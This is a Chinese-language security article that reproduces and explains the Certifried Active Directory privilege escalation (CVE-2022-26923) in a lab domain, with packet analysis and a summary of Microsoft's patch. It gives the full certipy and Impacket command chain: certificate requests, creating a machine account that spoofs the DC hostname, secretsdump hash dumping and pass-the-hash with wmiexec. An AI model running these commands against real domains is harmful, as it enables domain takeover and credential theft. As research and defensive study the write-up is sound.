CVE-2022-26923 Active Directory 域提权 复现与分析

admin 2022年6月13日14:20:16安全文章评论12 views3720字阅读12分24秒阅读模式

点击 / 关注我们

0x00漏洞简介

该漏洞允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员。现在很少有没有安装 AD CS 的大中型 Active Directory 环境,所以该漏洞危害和利用性都较强。该漏洞已作为Microsoft 2022 年 5 月安全更新的一部分进行了修补。

0x01环境配置

首先当然是需要一个简单的域环境,我这里是Windows server 2012R2(1.1.1.2)和kali2022(1.1.1.3)组成了一个简单的内网环境。因为这个漏洞基于Certificate Service, 需要 Active Directory 证书服务(AD CS),所以DC中需要安装此服务。

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220524131212919.png

之后需要配置CA证书。

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220524131518176.png

为了模拟在得到一个user组用户后的提权,我在DC上创建了一个已知的用户(test1 /Syclover!),之后便会使用这个用户的凭据进行提权操作。

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220524131938746.png

在复现时我发现如果是用上述命令行的方式创建的用户,需要手动设置用户登录名,不然用certipy获取证书时会报错。手动创建的用户则没有没有影响。

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220526140408206.png



0x02漏洞复现

申请低权限用户证书:

certipy req chinfo.testlab/'test1:Syclover!'@DC.chinfo.testlab -ca chinfo-DC-CA -template User

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220525163441857.png


用证书申请TGT,得到NTLM hash:

certipy auth -pfx test1.pfx

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220525171551550.png


添加一个Machine账号,并将它的dns改为与DC相同:

certipy account create chinfo.testlab/test1:'Syclover!'@DC.chinfo.testlab -user "hacker" -dns "DC.chinfo.testlab"

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220525172024503.png


获取Machine账户证书:

certipy req chinfo.testlab/'hacker$:Qv8A7bBHFtwpPhRj'@DC.chinfo.testlab -ca chinfo-DC-CA -template Machine

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220525172424083.png


获取Machine账户的NTLM hash:

certipy auth -pfx dc.pfx

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220525172456160.png


使用secretsdump得到admin的hash:

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py 'chinfo.testlab/[email protected]' -hashes b0d7d9976a8006c910f50030088730f8:b0d7d9976a8006c910f50030088730f8

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220525173310116.png


使用wmiexec连接,提权至admin:

python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2fd54b5d964ccb69be6bdb69d76fad65 [email protected]

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220525173655899.png


0x03利用性验证

使用BloodHound检测是否有Certificate Service组

收集数据:

bloodhound-python -d chinfo.testlab -u test1 -p 'Syclover!' -ns 1.1.1.2 -c all --zip

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220526145728455.png


起一个neo4j,用bloodhound看看,左上角搜一下。

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220526145952083.png


是有这个组的。

在确定有Certificate Service服务的条件下,在加上能访问到445和636这两个端口,即可利用这个漏洞

这两个端口的必要性将在原理分析中写出。

0x04原理分析

理论原理

本质上的原理是通过Ldap添加了一个计算机账户(machine账户),之后这个域内就相当于有两台计算机(但实际只有一台)。之后它把添加的这个计算机账户的DNShostname改成和DC一样。之后再通过这个账户去请求的时候,certipy会通过用证书进行认证的方式,这种方式不同于使用用户名和密码,它会通过DNShost来解析你映射到了哪个账户上。由于之前这个计算机账户的DNS hostname改成和DC一样了,所以就会返回DC的hash值。

这其中有几个难点:

①为什么要使用machine账户而不使用user账户?

因为使用user账户是用UPN进行解析的,若将dnshost改成和DC一样,就会报错。

若单纯只修改machine账户的dnshost,其实也会报错。因为这样SPN也会同样进行更新,但SPN是唯一的。为了不让它报错,certipy将某些SPN值解绑了,这样更新后就进行了覆盖,就不会报错了。

②两个账户的DNShostname一样了,为什么在请求的时候不会发生冲突

由于采用了证书认证的方式,所以可以很简单的区分出是哪一个,通过这种方式就绕过了。

操作原理

①首先是申请低权限用户证书

抓包看一下过程

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220526151614609.png


先是TCP三次握手,之后可以看到使用的SMB,所以必须要能够访问到445端口

②然后是用证书申请TGT,得到NTLM hash

抓包看看怎么做到的

先是AS-REQ到AS-REP,申请到TGT

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220526152303282.png


之后又用这个TGT去申请了一个TGS

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220526152407223.png


这里应该没有用SPN去申请,应该是直接用的证书里定义的权限去申请了一个TGS,然后利用这个TGS得到了nt哈希。

③然后是添加一个Machine账号,并将它的dns改为与DC相同

抓包看看

CVE-2022-26923 Active Directory 域提权 复现与分析
image-20220526155214428.png


可以看到使用的是636端口。389和636都是Ldap端口,但这次是要创建以一个账户,是要发送密码的,所以使用了带加密的636端口。

从抓到的包中也可以看到是TLS隧道。所以从抓的包中是看不到更改dns的详细过程了。

④最后就是得到Machine的hash然后利用工具解密的操作了

0x05漏洞修复

微软在5月安全更新进行了修补。方法是在新证书中引入新的对象 ID (OID) 以进一步对用户进行指纹识别。这是通过在新的( ) OID 中嵌入用户objectSid(SID)来完成的。此外,“验证写入 DNS 主机名”权限现在只允许设置szOID_NTDS_CA_SECURITY_EXT``1.3.6.1.4.1.311.25.2``CT_FLAG_NO_SECURITY_EXTENSION``0x80000``msPKI-Enrollment-Flag``szOID_NTDS_CA_SECURITY_EXT``dNSHostName与帐户的 SAM 帐户名称匹配的属性。但是,使用计算机帐户的通用写入权限,仍然可以创建重复dnsHostName值。

0x06参考文章

Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923)https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4?gi=293f32b72718

推荐阅读:
ETW的攻与防
JNDI注入分析
浅谈EDR绕过
浅谈Windows传统取证
Learning Linux kernel exploitation P1- aying the groundwork(译文)



跳跳糖是一个安全社区,旨在为安全人员提供一个能让思维跳跃起来的交流平台。

跳跳糖持续向广大安全从业者征集高质量技术文章,可以是漏洞分析,事件分析,渗透技巧,安全工具等等。
通过审核且发布将予以500RMB-1000RMB不等的奖励,具体文章要求可以查看“投稿须知”。

阅读更多原创技术文章,戳“阅读全文

原文始发于微信公众号(跳跳糖社区):CVE-2022-26923 Active Directory 域提权 复现与分析

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月13日14:20:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  CVE-2022-26923 Active Directory 域提权 复现与分析 http://cn-sec.com/archives/1112512.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: